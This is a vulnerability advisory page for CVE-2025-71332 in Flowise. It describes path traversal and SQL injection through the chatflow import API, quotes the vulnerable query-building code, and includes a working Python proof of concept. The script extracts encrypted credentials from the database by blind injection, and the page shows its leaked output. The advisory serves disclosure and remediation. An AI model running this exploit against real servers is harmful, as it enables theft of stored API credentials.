Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-9c4c-g95m-c8cp
Advisory ID github_osv/GHSA-9c4c-g95m-c8cp
Aliases CVE-2025-71332
Summary FlowiseDB vulnerable to SQL Injection by authenticated users ### Summary import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85) * [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts) ### Details **Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise. **Issue 1 (Bug Type)** 1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file. ```json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } ``` 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}. **Issue 2 (Vulnerability Type)** importChatflows API use unsafe SQL Query. ```javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp() // step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return // step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += `'${newChatflow.id}'` // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 }) const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(`cf.id IN ${ids}`) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) ``` It changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above. When `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs. ### PoC ```python import argparse import requests def import_chatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload ) return response.json() def import_normal_data( api_url: str, token: str, normal_data: str ): data_id = 'aaaaaa' payload = { "Chatflows": [ { "id": data_id, "name": normal_data, "flowData": "{}" } ] } import_chatflows( url=api_url, token=token, payload=payload ) return data_id def get_character( api_url: str, token: str, data_id: str, column_name: str, index: int ): injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = create_payload(c=character + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # character is more then bit character += bit else: # character is less then bit character += 0 return chr(character) def get_length( api_url: str, token: str, data_id: str, column_name: str ): injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } column_len = 0 bitbox = [ 256, 128, 64, 32, 16, 8, 4, 2, 1 ] for bit in bitbox: payload = create_payload(c=column_len + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # column_len is more then bit column_len += bit else: # column_len is less then bit column_len += 0 return column_len def main( url: str, token: str ): api_url = url column_box = [ 'credentialName', 'encryptedData' ] data_id = import_normal_data( api_url=api_url, token=token, normal_data='flow01' ) for column_name in column_box: column_len = get_length( api_url=api_url, token=token, data_id=data_id, column_name=column_name ) print(f'[+] {column_name} length is {column_len}') result = '' for i in range(column_len): result += get_character( api_url=api_url, token=token, data_id=data_id, column_name=column_name, index=i + 1 ) print(f'[+] {column_name}: {result}') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--url', type=str, default='http://flowise:3000' ) parser.add_argument( '--access', type=str, required=True, help='Get from http://flowise:3000/apikey' ) m_args = parser.parse_args() main( url=m_args.url, token=m_args.access ) ``` **poc results: encryptedData from flowise database credential table was successfully leaked.** ``` /app # python ex2.py --url http://flowise:3000 --access "blahblah~~~" [+] credentialName length is 9 [+] credentialName: openAIApi [+] encryptedData length is 88 [+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg== ``` It is recommended to limit all chatflow ids & chat ids to UUID. ### Impact * Database leak * Lateral Movement
Status Published
Exploitability 0.5
Weighted Severity 5.3
Risk 2.6
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-9c4c-g95m-c8cp/GHSA-9c4c-g95m-c8cp.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-06-24T14:53:13Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/71xxx/CVE-2025-71332.json

Source Advisory: vulnrichment/CVE-2025-71332

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]